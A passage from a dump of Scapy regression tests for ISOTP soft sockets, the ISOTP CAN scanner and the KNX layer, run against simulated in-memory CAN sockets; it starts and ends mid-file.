s.failure_analysis()\n                raise Scapy_Exception(\"ERROR\")\n            res = pkts[0]\n            assert res.length == pl_sizes_expected[i]\n\n\n= Send a two-frame ISOTP message with padding\n\nacks = TestSocket(CAN)\ncans = TestSocket(CAN)\nacks.pair(cans)\n\ndef send_ack(x):\n    acks.send(CAN(identifier = 0x241, data=dhex(\"30 00 00\")))\n\nacker = AsyncSniffer(opened_socket=acks, store=False, prn=send_ack, timeout=1, count=1)\nacker.start()\n\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, padding=True) as s:\n    acks.pair(isocan)\n    cans.pair(isocan)\n    s.send(ISOTP(data=dhex(\"01 02 03 04 05 06 07 08\")))\n    canpks = cans.sniff(timeout=1, count=3)\n\nacker.join(timeout=5)\ncanpks.sort(key=lambda x:x.identifier)\nassert canpks[1].identifier == 0x641\nassert canpks[1].data == dhex(\"10 08 01 02 03 04 05 06\")\nassert canpks[0].identifier == 0x241\nassert canpks[0].data == dhex(\"30 00 00\")\nassert canpks[2].identifier == 0x641\nassert canpks[2].data == dhex(\"21 07 08 CC CC CC CC CC\")\n\n\n= Receive a padded single frame ISOTP message with padding disabled\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, padding=False) as s:\n    with TestSocket(CAN) as cans:\n        cans.pair(isocan)\n        cans.send(CAN(identifier=0x241, data=dhex(\"02 05 06 00 00 00 00 00\")))\n        pkts = s.sniff(count=1, timeout=1)\n        if not len(pkts):\n            s.failure_analysis()\n            raise Scapy_Exception(\"ERROR\")\n        res = pkts[0]\n        assert res.data == dhex(\"05 06\")\n\n\n= Receive a padded single frame ISOTP message with padding enabled\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, padding=True) as s:\n    with TestSocket(CAN) as cans:\n        cans.pair(isocan)\n        cans.send(CAN(identifier=0x241, data=dhex(\"02 05 06 00 00 00 00 00\")))\n        pkts = s.sniff(count=1, timeout=1)\n        if not len(pkts):\n            s.failure_analysis()\n            raise Scapy_Exception(\"ERROR\")\n        res = pkts[0]\n        assert res.data == dhex(\"05 06\")\n\n\n= Receive a non-padded single frame ISOTP message with padding enabled\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, padding=True) as s:\n    with TestSocket(CAN) as cans:\n        cans.pair(isocan)\n        cans.send(CAN(identifier=0x241, data=dhex(\"02 05 06\")))\n        pkts = s.sniff(count=1, timeout=2)\n        if not len(pkts):\n            s.failure_analysis()\n            raise Scapy_Exception(\"ERROR\")\n        res = pkts[0]\n        assert res.data == dhex(\"05 06\")\n\n\n= Receive a padded two-frame ISOTP message with padding enabled\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, padding=True) as s:\n    with TestSocket(CAN) as cans:\n        cans.pair(isocan)\n        cans.send(CAN(identifier=0x241, data=dhex(\"10 09 01 02 03 04 05 06\")))\n        cans.send(CAN(identifier=0x241, data=dhex(\"21 07 08 09 00 00 00 00\")))\n        pkts = s.sniff(count=1, timeout=1)\n        if not len(pkts):\n            s.failure_analysis()\n            raise Scapy_Exception(\"ERROR\")\n        res = pkts[0]\n        assert res.data == dhex(\"01 02 03 04 05 06 07 08 09\")\n\n= Receive a padded two-frame ISOTP message with padding disabled\nwith TestSocket(CAN) as isocan, ISOTPSoftSocket(isocan, tx_id=0x641, rx_id=0x241, padding=False) as s:\n    with TestSocket(CAN) as cans:\n        cans.pair(isocan)\n        cans.send(CAN(identifier=0x241, data=dhex(\"10 09 01 02 03 04 05 06\")))\n        cans.send(CAN(identifier=0x241, data=dhex(\"21 07 08 09 00 00 00 00\")))\n        pkts = s.sniff(count=1, timeout=1)\n        if not len(pkts):\n            s.failure_analysis()\n            raise Scapy_Exception(\"ERROR\")\n        res = pkts[0]\n        res.show()\n        assert res.data == dhex(\"01 02 03 04 05 06 07 08 09\")\n\n\n+ MF response via sr1() cartesian product tests\n# Background traffic from pcap: 3 periodic IDs (0x062, 0x024, 0x039) every\n# 10ms, plus a burst of 9 additional IDs every 100ms.\n# ECU response latency: ~0.6ms after SF request (from pcap frame 385).\n# CF timing after FC: CF1 +8ms, CF2 +10ms, CF3 +10ms (from pcap).\n# Expected ISOTP data: \"62 00 01 flag{UDS_DATA_READ}\" (22 bytes).\n#\n# Cartesian product dimensions:\n#   threaded:   {False, True} - sr1() threading mode\n#   can_filters: {[0x7eb], None} - per-socket filtering vs. no filtering\n#   adapter:    {limited (slcan-like), unlimited (candle-like)}\n#\n# slcan model parameters (from real hardware testing):\n#   frame_delay=0.0025: ~2.5ms per serial read at 115200 baud\n#   serial_timeout=0.1: python-can slcan Serial(timeout=0.1) blocks 100ms\n#                        when serial buffer is empty\n#   read_time_limit=0.02: SocketMapper.READ_BUS_TIME_LIMIT = 20ms caps\n#                          total read time per mux call\n#   prefill_frames=200: OS serial buffer backlog from busy CAN bus\n#\n# All tests use retry=0, timeout=1.0. All should PASS with the fix\n# (can_filters stripped from raw Bus, per-socket filtering in mux,\n# read_bus time-limited to avoid TimeoutScheduler thread starvation).\n\n= MF response helper setup for cartesian product tests\n\nfrom threading import Thread, Event\n\ndef run_mf_response_test(frame_delay, mux_throttle, filters_kwarg, threaded,\n                         prefill_frames=0, serial_timeout=0.0,\n                         read_time_limit=0.0, interface_name=\"slcan\"):\n    import time as _time\n    from threading import Thread as _Thread, Event as _Event\n    from scapy.layers.can import CAN as _CAN\n    from scapy.contrib.isotp import ISOTP as _ISOTP\n    from scapy.contrib.isotp.isotp_soft_socket import ISOTPSoftSocket as _ISOTPSoftSocket\n    from scapy.contrib.isotp.isotp_soft_socket import TimeoutScheduler as _TimeoutScheduler\n    from test.testsocket import TestSocket as _TestSocket, SlowTestSocket as _SlowTestSocket\n    _dhex = bytes.fromhex\n    response_data = _dhex(\"620001666c61677b5544535f444154415f524541447d\")\n    bg_periodic = [0x062, 0x024, 0x039]\n    bg_burst = [0x1d3, 0x024, 0x039, 0x077, 0x098, 0x150, 0x1a7, 0x1b8, 0x1bb]\n    if frame_delay > 0:\n        sock_cls = _SlowTestSocket\n        sock_kwargs = dict(frame_delay=frame_delay, mux_throttle=mux_throttle,\n                           serial_timeout=serial_timeout,\n                           read_time_limit=read_time_limit,\n                           interface_name=interface_name,\n                           **filters_kwarg)\n    else:\n        sock_cls = _TestSocket\n        sock_kwargs = {}\n    with sock_cls(_CAN, **sock_kwargs) as isocan, \\\n            _TestSocket(_CAN) as ecu_mon, \\\n            _ISOTPSoftSocket(isocan, tx_id=0x7e3, rx_id=0x7eb) as sock:\n        with _TestSocket(_CAN) as stim:\n            stim.pair(isocan)\n            isocan.pair(ecu_mon)\n            # Pre-fill the serial buffer with background frames to\n            # simulate a real slcan adapter that has been connected to\n            # a busy CAN bus.  On real hardware the OS serial buffer\n            # accumulates hundreds of frames before the ISOTP exchange.\n            for _ in range(prefill_frames):\n                bid = bg_periodic[_ % len(bg_periodic)]\n                stim.send(_CAN(identifier=bid, data=bytes(8)))\n            fc_received = _Event()\n            stop = _Event()\n            bg_cycle = [0]\n            def bg_generator():\n                while not stop.is_set():\n                    for bid in bg_periodic:\n                        if stop.is_set():\n                            return\n                        stim.send(_CAN(identifier=bid, data=bytes(8)))\n                    bg_cycle[0] += 1\n                    if bg_cycle[0] % 10 == 0:\n                        for bid in bg_burst:\n                            if stop.is_set():\n                                return\n                            stim.send(_CAN(identifier=bid, data=bytes(8)))\n                    _time.sleep(0.010)\n            def ecu_simulation():\n                _time.sleep(0.05)\n                stim.send(_CAN(identifier=0x7eb, data=_dhex(\"1016620001666c61\")))\n                fc_received.wait(timeout=10.0)\n                if not fc_received.is_set():\n                    return\n                _time.sleep(0.008)\n                stim.send(_CAN(identifier=0x7eb, data=_dhex(\"21677b5544535f44\")))\n                _time.sleep(0.010)\n                stim.send(_CAN(identifier=0x7eb, data=_dhex(\"224154415f524541\")))\n                _time.sleep(0.010)\n                stim.send(_CAN(identifier=0x7eb, data=_dhex(\"23447d\")))\n            def fc_watcher():\n                while not stop.is_set():\n                    if _TestSocket.select([ecu_mon], 0.1):\n                        pkt = ecu_mon.recv()\n                        if pkt is not None and pkt.identifier == 0x7e3 and \\\n                           len(pkt.data) >= 1 and bytes(pkt.data)[0] == 0x30:\n                            fc_received.set()\n                            return\n            bg_thread = _Thread(target=bg_generator)\n            ecu_thread = _Thread(target=ecu_simulation)\n            fc_thread = _Thread(target=fc_watcher)\n            bg_thread.start()\n            ecu_thread.start()\n            fc_thread.start()\n            result = sock.sr1(_ISOTP(data=_dhex(\"220001\")),\n                              retry=0, timeout=10.0,\n                              threaded=threaded, verbose=0)\n            stop.set()\n            fc_received.set()\n            bg_thread.join(timeout=5)\n            ecu_thread.join(timeout=5)\n            fc_thread.join(timeout=5)\n            assert not bg_thread.is_alive(), \"bg_thread still alive\"\n            assert not ecu_thread.is_alive(), \"ecu_thread still alive\"\n            assert not fc_thread.is_alive(), \"fc_thread still alive\"\n            # Stop TimeoutScheduler while sockets are still open to\n            # avoid callbacks crashing on closed sockets and writing\n            # to stderr (causes fatal error on Python 3.13 Windows).\n            _ts_thread = _TimeoutScheduler._thread\n            _TimeoutScheduler.clear()\n            if _ts_thread is not None:\n                _ts_thread.join(timeout=5)\n    return result, response_data\n\n= MF response: candle-like unlimited, no can_filters, threaded=False\n\nresult, expected = run_mf_response_test(\n    frame_delay=0, mux_throttle=0,\n    filters_kwarg={}, threaded=False, interface_name=\"candle\")\nassert result is not None, \"MF response not received (candle, no filters, threaded=False)\"\nassert result.data == expected\n\n= MF response: candle-like unlimited, no can_filters, threaded=True\n\nresult, expected = run_mf_response_test(\n    frame_delay=0, mux_throttle=0,\n    filters_kwarg={}, threaded=True, interface_name=\"candle\")\nassert result is not None, \"MF response not received (candle, no filters, threaded=True)\"\nassert result.data == expected\n\n= MF response: candle-like unlimited, can_filters=[0x7eb], threaded=False\n\nresult, expected = run_mf_response_test(\n    frame_delay=0, mux_throttle=0,\n    filters_kwarg=dict(can_filters=[0x7eb]), threaded=False,\n    interface_name=\"candle\")\nassert result is not None, \"MF response not received (candle, can_filters, threaded=False)\"\nassert result.data == expected\n\n= MF response: candle-like unlimited, can_filters=[0x7eb], threaded=True\n\nresult, expected = run_mf_response_test(\n    frame_delay=0, mux_throttle=0,\n    filters_kwarg=dict(can_filters=[0x7eb]), threaded=True,\n    interface_name=\"candle\")\nassert result is not None, \"MF response not received (candle, can_filters, threaded=True)\"\nassert result.data == expected\n\n= MF response: slcan-like limited, no can_filters, threaded=False\n\nresult, expected = run_mf_response_test(\n    frame_delay=0.0025, mux_throttle=0.001, serial_timeout=0.1,\n    read_time_limit=0.02, filters_kwarg={}, threaded=False,\n    prefill_frames=200)\nassert result is not None, \"MF response not received (slcan, no filters, threaded=False)\"\nassert result.data == expected\n\n= MF response: slcan-like limited, no can_filters, threaded=True\n\nresult, expected = run_mf_response_test(\n    frame_delay=0.0025, mux_throttle=0.001, serial_timeout=0.1,\n    read_time_limit=0.02, filters_kwarg={}, threaded=True,\n    prefill_frames=200)\nassert result is not None, \"MF response not received (slcan, no filters, threaded=True)\"\nassert result.data == expected\n\n= MF response: slcan-like limited, can_filters=[0x7eb], threaded=False\n\nresult, expected = run_mf_response_test(\n    frame_delay=0.0025, mux_throttle=0.001, serial_timeout=0.1,\n    read_time_limit=0.02, filters_kwarg=dict(can_filters=[0x7eb]),\n    threaded=False, prefill_frames=200)\nassert result is not None, \"MF response not received (slcan, can_filters, threaded=False)\"\nassert result.data == expected\n\n= MF response: slcan-like limited, can_filters=[0x7eb], threaded=True\n\nresult, expected = run_mf_response_test(\n    frame_delay=0.0025, mux_throttle=0.001, serial_timeout=0.1,\n    read_time_limit=0.02, filters_kwarg=dict(can_filters=[0x7eb]),\n    threaded=True, prefill_frames=200)\nassert result is not None, \"MF response not received (slcan, can_filters, threaded=True)\"\nassert result.data == expected\n\n\n+ Cleanup\n\n= Delete testsockets\n\ncleanup_testsockets()\n\n_ts = TimeoutScheduler._thread\nTimeoutScheduler.clear()\nif _ts is not None:\n    _ts.join(timeout=5)\n\nlog_runtime.removeHandler(handler)\n"
  },
  {
    "path": "test/contrib/isotpscan.uts",
    "content": "% Regression tests for isotp_scan\n~ scanner\n\n+ Configuration\n~ conf\n\n= Imports\nfrom scapy.contrib.isotp.isotp_scanner import send_multiple_ext, filter_periodic_packets, scan_extended, scan\nfrom test.testsocket import TestSocket\n\nwith open(scapy_path(\"test/contrib/automotive/interface_mockup.py\")) as f:\n    exec(f.read())\n\n= Test send_multiple_ext()\n\npkt = ISOTPHeaderEA(identifier=0x100, extended_address=1)/ISOTP_FF(message_size=100, data=b'\\x00\\x00\\x00\\x00\\x00')\nnumber_of_packets = 100\n\nwith new_can_socket0() as sock1, new_can_socket0() as sock:\n    send_multiple_ext(sock1, 0, pkt, number_of_packets)\n    pkts = sock.sniff(timeout=4, count=number_of_packets)\n\nassert len(pkts) == number_of_packets\n\n= Test filter_periodic_packets() with periodic packets\npkt = CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\nreceived_packets = dict()\nfor i in range(40):\n    temp_pkt = pkt.copy()\n    temp_pkt.time = i / 1000\n    received_packets[i] = (temp_pkt, temp_pkt.identifier)\n\nfilter_periodic_packets(received_packets)\nassert len(received_packets) == 0\n\n\n= Test filter_periodic_packets() with periodic packets and one outlier\noutlier = CAN(identifier=300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\noutlier.time = 50 / 1000\n\npkt = CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\nreceived_packets = dict()\nfor i in range(40):\n    temp_pkt = pkt.copy()\n    temp_pkt.time = i / 1000\n    received_packets[i] = (temp_pkt, temp_pkt.identifier)\n\nreceived_packets[40] = (outlier, outlier.identifier)\n\nfilter_periodic_packets(received_packets)\nassert len(received_packets) == 1\n\n= Test filter_periodic_packets() with nonperiodic packets\npkt = CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\nreceived_packets = dict()\nfor i in range(40):\n    temp_pkt = pkt.copy()\n    temp_pkt.time = (i * i) / 1000\n    received_packets[i] = (temp_pkt, temp_pkt.identifier)\n\nfilter_periodic_packets(received_packets)\nassert len(received_packets) == 40\n\n= define helper function\n\ndef make_noise(p, t):\n    for _ in range(20):\n        sock_noise.send(p)\n        time.sleep(t)\n\n= test scan\n\nsock_sender = TestSocket(CAN)\n\nsockets = list()\nfor idx in range(1, 4):\n    sock_recv = TestSocket(CAN)\n    sock_sender.pair(sock_recv)\n    sockets.append(ISOTPSoftSocket(sock_recv, tx_id=0x700 + idx, rx_id=0x600 + idx))\n\nfound_packets = scan(sock_sender, range(0x5ff, 0x604),\n                     noise_ids=[0x701], sniff_time=0.1)\n\nfor s in sockets:\n    s.close()\n\nassert len(found_packets) == 2\nassert found_packets[0x602][0].identifier == 0x702\nassert found_packets[0x603][0].identifier == 0x703\n\n= test scan extended\n\nsock_sender = TestSocket(CAN)\nsock_recv = TestSocket(CAN)\nsock_sender.pair(sock_recv)\n\nwith ISOTPSoftSocket(sock_recv, tx_id=0x700, rx_id=0x601, ext_address=0xaa, rx_ext_address=0xbb):\n    found_packets = scan_extended(sock_sender, [0x600, 0x601],\n                                  extended_scan_range=range(0xb0, 0xc0),\n                                  sniff_time=0.1)\n\nfpkt = found_packets[list(found_packets.keys())[0]][0]\nrpkt = CAN(flags=0, identifier=0x700, length=4, data=b'\\xaa0\\x00\\x00')\nassert fpkt.length == rpkt.length\nassert fpkt.data == rpkt.data\nassert fpkt.identifier == rpkt.identifier\n\n= scan with text output\n\nsock_sender = TestSocket(CAN)\nsock_recv1 = TestSocket(CAN)\nsock_sender.pair(sock_recv1)\nsock_recv2 = TestSocket(CAN)\nsock_sender.pair(sock_recv2)\nsock_noise = TestSocket(CAN)\nsock_sender.pair(sock_noise)\n\nwith ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603):\n    pkt = CAN(identifier=0x701, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n    make_noise(pkt, 0.01)\n    result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1),\n                        output_format=\"text\",\n                        noise_listen_time=0.1,\n                        sniff_time=0.02,\n                        verbose=False)\n\ntext = \"\\nFound 2 ISOTP-FlowControl Packet(s):\"\nassert text in result\nassert \"0x602\" in result\nassert \"0x603\" in result\nassert \"0x702\" in result\nassert \"0x703\" in result\nassert \"No Padding\" in result\n\n= scan with text output padding\n\nsock_sender = TestSocket(CAN)\nsock_recv1 = TestSocket(CAN)\nsock_sender.pair(sock_recv1)\nsock_recv2 = TestSocket(CAN)\nsock_sender.pair(sock_recv2)\nsock_noise = TestSocket(CAN)\nsock_sender.pair(sock_noise)\n\nwith ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602, padding=True), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603, padding=True):\n    pkt = CAN(identifier=0x701, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n    make_noise(pkt, 0.01)\n    result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1),\n                        output_format=\"text\",\n                        noise_listen_time=0.1,\n                        sniff_time=0.02,\n                        verbose=False)\n\ntext = \"\\nFound 2 ISOTP-FlowControl Packet(s):\"\nassert text in result\nassert \"0x602\" in result\nassert \"0x603\" in result\nassert \"0x702\" in result\nassert \"0x703\" in result\nassert \"Padding enabled\" in result\n\n= scan with text output extended_can id\n\nsock_sender = TestSocket(CAN)\nsock_recv1 = TestSocket(CAN)\nsock_sender.pair(sock_recv1)\nsock_recv2 = TestSocket(CAN)\nsock_sender.pair(sock_recv2)\nsock_noise = TestSocket(CAN)\nsock_sender.pair(sock_noise)\n\nwith ISOTPSoftSocket(sock_recv1, tx_id=0x1ffff702, rx_id=0x1ffff602), ISOTPSoftSocket(sock_recv2, tx_id=0x1ffff703, rx_id=0x1ffff603):\n    pkt = CAN(identifier=0x1ffff701, flags=\"extended\", length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n    make_noise(pkt, 0.01)\n    result = isotp_scan(sock_sender, range(0x1ffff5ff, 0x1ffff604 + 1),\n                        output_format=\"text\",\n                        noise_listen_time=0.1,\n                        sniff_time=0.02,\n                        extended_can_id=True,\n                        verbose=False)\n\ntext = \"\\nFound 2 ISOTP-FlowControl Packet(s):\"\nassert text in result\nassert \"0x1ffff602\" in result\nassert \"0x1ffff603\" in result\nassert \"0x1ffff702\" in result\nassert \"0x1ffff703\" in result\nassert \"No Padding\" in result\n\n= scan with code output\n\nsock_sender = TestSocket(CAN)\nsock_recv1 = TestSocket(CAN)\nsock_sender.pair(sock_recv1)\nsock_recv2 = TestSocket(CAN)\nsock_sender.pair(sock_recv2)\nsock_noise = TestSocket(CAN)\nsock_sender.pair(sock_noise)\n\nwith ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603):\n    pkt = CAN(identifier=0x701, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n    make_noise(pkt, 0.01)\n    result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1),\n                        output_format=\"code\",\n                        noise_listen_time=0.1,\n                        sniff_time=0.02,\n                        can_interface=\"can0\",\n                        verbose=False)\n\ns1 = \"ISOTPSocket(can0, tx_id=0x602, rx_id=0x702, \" \\\n     \"padding=False, fd=False, basecls=ISOTP)\\n\"\ns2 = \"ISOTPSocket(can0, tx_id=0x603, rx_id=0x703, \" \\\n     \"padding=False, fd=False, basecls=ISOTP)\\n\"\nassert s1 in result\nassert s2 in result\n\n= scan with json output\n\nsock_sender = TestSocket(CAN)\nsock_recv1 = TestSocket(CAN)\nsock_sender.pair(sock_recv1)\nsock_recv2 = TestSocket(CAN)\nsock_sender.pair(sock_recv2)\nsock_noise = TestSocket(CAN)\nsock_sender.pair(sock_noise)\n\nwith ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603):\n    pkt = CAN(identifier=0x701, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n    make_noise(pkt, 0.01)\n    result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1),\n                        output_format=\"json\",\n                        noise_listen_time=0.1,\n                        sniff_time=0.02,\n                        can_interface=\"can0\",\n                        verbose=False)\n\ns1 = \"\\\"iface\\\": \\\"can0\\\", \\\"tx_id\\\": 1538, \\\"rx_id\\\": 1794, \" \\\n     \"\\\"padding\\\": false, \\\"fd\\\": false, \\\"basecls\\\": \\\"ISOTP\\\"\"\ns2 = \"\\\"iface\\\": \\\"can0\\\", \\\"tx_id\\\": 1539, \\\"rx_id\\\": 1795, \" \\\n     \"\\\"padding\\\": false, \\\"fd\\\": false, \\\"basecls\\\": \\\"ISOTP\\\"\"\nprint(result)\nassert s1 in result\nassert s2 in result\n\n= scan with code output noise\n\nsock_sender = TestSocket(CAN)\nsock_recv1 = TestSocket(CAN)\nsock_sender.pair(sock_recv1)\nsock_recv2 = TestSocket(CAN)\nsock_sender.pair(sock_recv2)\nsock_noise = TestSocket(CAN)\nsock_sender.pair(sock_noise)\n\nwith ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603):\n    pkt = CAN(identifier=0x702, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n    make_noise(pkt, 0.01)\n    result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1),\n                        output_format=\"code\",\n                        noise_listen_time=0.1,\n                        sniff_time=0.02,\n                        can_interface=\"can0\",\n                        verbose=False)\n\ns1 = \"ISOTPSocket(can0, tx_id=0x602, rx_id=0x702, \" \\\n     \"padding=False, fd=False, basecls=ISOTP)\\n\"\ns2 = \"ISOTPSocket(can0, tx_id=0x603, rx_id=0x703, \" \\\n     \"padding=False, fd=False, basecls=ISOTP)\\n\"\nassert s1 not in result\nassert s2 in result\n\n= scan with code output extended_isotp\n\nsock_sender = TestSocket(CAN)\nsock_recv1 = TestSocket(CAN)\nsock_sender.pair(sock_recv1)\nsock_recv2 = TestSocket(CAN)\nsock_sender.pair(sock_recv2)\nsock_noise = TestSocket(CAN)\nsock_sender.pair(sock_noise)\n\nwith ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602, ext_address=0x11, rx_ext_address=0x22), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603, ext_address=0x11, rx_ext_address=0x22):\n    pkt = CAN(identifier=0x701, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n    make_noise(pkt, 0.01)\n    result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1),\n                        output_format=\"code\",\n                        noise_listen_time=0.1,\n                        sniff_time=0.05,\n                        extended_scan_range=range(0x20, 0x30),\n                        extended_addressing=True,\n                        can_interface=\"can0\",\n                        verbose=False)\n\ns1 = \"ISOTPSocket(can0, tx_id=0x602, rx_id=0x702, padding=False, \" \\\n         \"ext_address=0x22, rx_ext_address=0x11, fd=False, basecls=ISOTP)\"\ns2 = \"ISOTPSocket(can0, tx_id=0x603, rx_id=0x703, padding=False, \" \\\n     \"ext_address=0x22, rx_ext_address=0x11, fd=False, basecls=ISOTP)\"\nassert s1 in result\nassert s2 in result\n\n= scan with code output extended_isotp extended can id\n\nsock_sender = TestSocket(CAN)\nsock_recv1 = TestSocket(CAN)\nsock_sender.pair(sock_recv1)\nsock_recv2 = TestSocket(CAN)\nsock_sender.pair(sock_recv2)\nsock_noise = TestSocket(CAN)\nsock_sender.pair(sock_noise)\n\nwith ISOTPSoftSocket(sock_recv1, tx_id=0x1ffff702, rx_id=0x1ffff602, ext_address=0x11, rx_ext_address=0x22), ISOTPSoftSocket(sock_recv2, tx_id=0x1ffff703, rx_id=0x1ffff603, ext_address=0x11, rx_ext_address=0x22):\n    pkt = CAN(identifier=0x701, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n    make_noise(pkt, 0.01)\n    result = isotp_scan(sock_sender, range(0x1ffff5ff, 0x1ffff604 + 1),\n                        output_format=\"code\",\n                        noise_listen_time=0.1,\n                        sniff_time=0.05,\n                        extended_scan_range=range(0x20, 0x30),\n                        extended_addressing=True,\n                        can_interface=\"can0\",\n                        verbose=False)\n\ns1 = \"ISOTPSocket(can0, tx_id=0x1ffff602, rx_id=0x1ffff702, padding=False, \" \\\n     \"ext_address=0x22, rx_ext_address=0x11, fd=False, basecls=ISOTP)\"\ns2 = \"ISOTPSocket(can0, tx_id=0x1ffff603, rx_id=0x1ffff703, padding=False, \" \\\n     \"ext_address=0x22, rx_ext_address=0x11, fd=False, basecls=ISOTP)\"\nprint(result)\nassert s1 in result\nassert s2 in result\n\n= scan default output\n\nsock_sender = TestSocket(CAN)\nsock_recv1 = TestSocket(CAN)\nsock_sender.pair(sock_recv1)\nsock_recv2 = TestSocket(CAN)\nsock_sender.pair(sock_recv2)\nsock_noise = TestSocket(CAN)\nsock_sender.pair(sock_noise)\n\nwith ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603):\n    pkt = CAN(identifier=0x701, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n    make_noise(pkt, 0.01)\n    result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1),\n                        noise_listen_time=0.1,\n                        sniff_time=0.02,\n                        can_interface=new_can_socket0(),\n                        verbose=False)\n\nassert 0x602 == result[0].tx_id\nassert 0x702 == result[0].rx_id\nassert 0x603 == result[1].tx_id\nassert 0x703 == result[1].rx_id\n\nfor s in result:\n    s.close()\n    del s\n\n= scan default output extended\n\nsock_sender = TestSocket(CAN)\nsock_recv1 = TestSocket(CAN)\nsock_sender.pair(sock_recv1)\nsock_recv2 = TestSocket(CAN)\nsock_sender.pair(sock_recv2)\nsock_noise = TestSocket(CAN)\nsock_sender.pair(sock_noise)\n\nwith ISOTPSoftSocket(sock_recv1, tx_id=0x702, rx_id=0x602, ext_address=0x11, rx_ext_address=0x22), ISOTPSoftSocket(sock_recv2, tx_id=0x703, rx_id=0x603, ext_address=0x11, rx_ext_address=0x22):\n    pkt = CAN(identifier=0x701, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n    make_noise(pkt, 0.01)\n    result = isotp_scan(sock_sender, range(0x5ff, 0x604 + 1),\n                        noise_listen_time=0.1,\n                        sniff_time=0.02,\n                        extended_scan_range=range(0x20, 0x30),\n                        extended_addressing=True,\n                        can_interface=new_can_socket0(),\n                        verbose=False)\n\nassert 0x602 == result[0].tx_id\nassert 0x702 == result[0].rx_id\nassert 0x22 == result[0].ext_address\nassert 0x11 == result[0].rx_ext_address\nassert 0x603 == result[1].tx_id\nassert 0x703 == result[1].rx_id\nassert 0x22 == result[1].ext_address\nassert 0x11 == result[1].rx_ext_address\n\nfor s in result:\n    s.close()\n    del s\n\n+ Cleanup\n\n= Delete vcan interfaces\n\nassert cleanup_interfaces()\n\n+ Coverage stability tests\n\n= empty tests\n\nfrom scapy.contrib.isotp.isotp_scanner import generate_code_output, generate_text_output\n\nassert generate_code_output(\"\", None) == \"\"\nassert generate_text_output(\"\") == \"No packets found.\"\n\n= get_isotp_fc\n\nfrom scapy.contrib.isotp.isotp_scanner import get_isotp_fc\n\n# to trigger \"noise_ids.append(packet.identifier)\"\na = []\nget_isotp_fc(\n    1, [], a, False,\n    Bunch(\n        flags=\"extended\",\n        identifier=1,\n        data=b\"\\x00\"\n    )\n)\nassert 1 in a\n"
  },
  {
    "path": "test/contrib/knx.uts",
    "content": "% knx layer test campaign\n\n+ Syntax check\n= Import the knx layer\nfrom scapy.contrib.knx import *\n\n+ Test KNX Header\n= Header default values\npkt = KNX()\nassert raw(pkt) == b'\\x06\\x10\\x00\\x00\\x00\\x06'\n\n= KNX Header payload length calculation\npkt = KNX(service_identifier=0x0203)/KNXDescriptionRequest()\nassert raw(pkt)[4:6] == b'\\x00\\x0e'\n\n= KNX Header Guess Payload KNXSearchRequest\np = KNX(b'\\x06\\x10\\x02\\x01\\x00\\x0e\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x00')\nassert isinstance(p.payload, KNXSearchRequest)\n\n= KNX Header Guess Payload KNXSearchResponse\np = KNX(b'\\x06\\x10\\x02\\x02\\x00F\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x006\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x02')\nassert isinstance(p.payload, KNXSearchResponse)\n\n= KNX Header Guess Payload KNXDescriptionRequest\np = KNX(b'\\x06\\x10\\x02\\x03\\x00\\x0e\\x08\\x01\\x00\\x00\\x00\\x00\\x00\\x00')\nassert isinstance(p.payload, 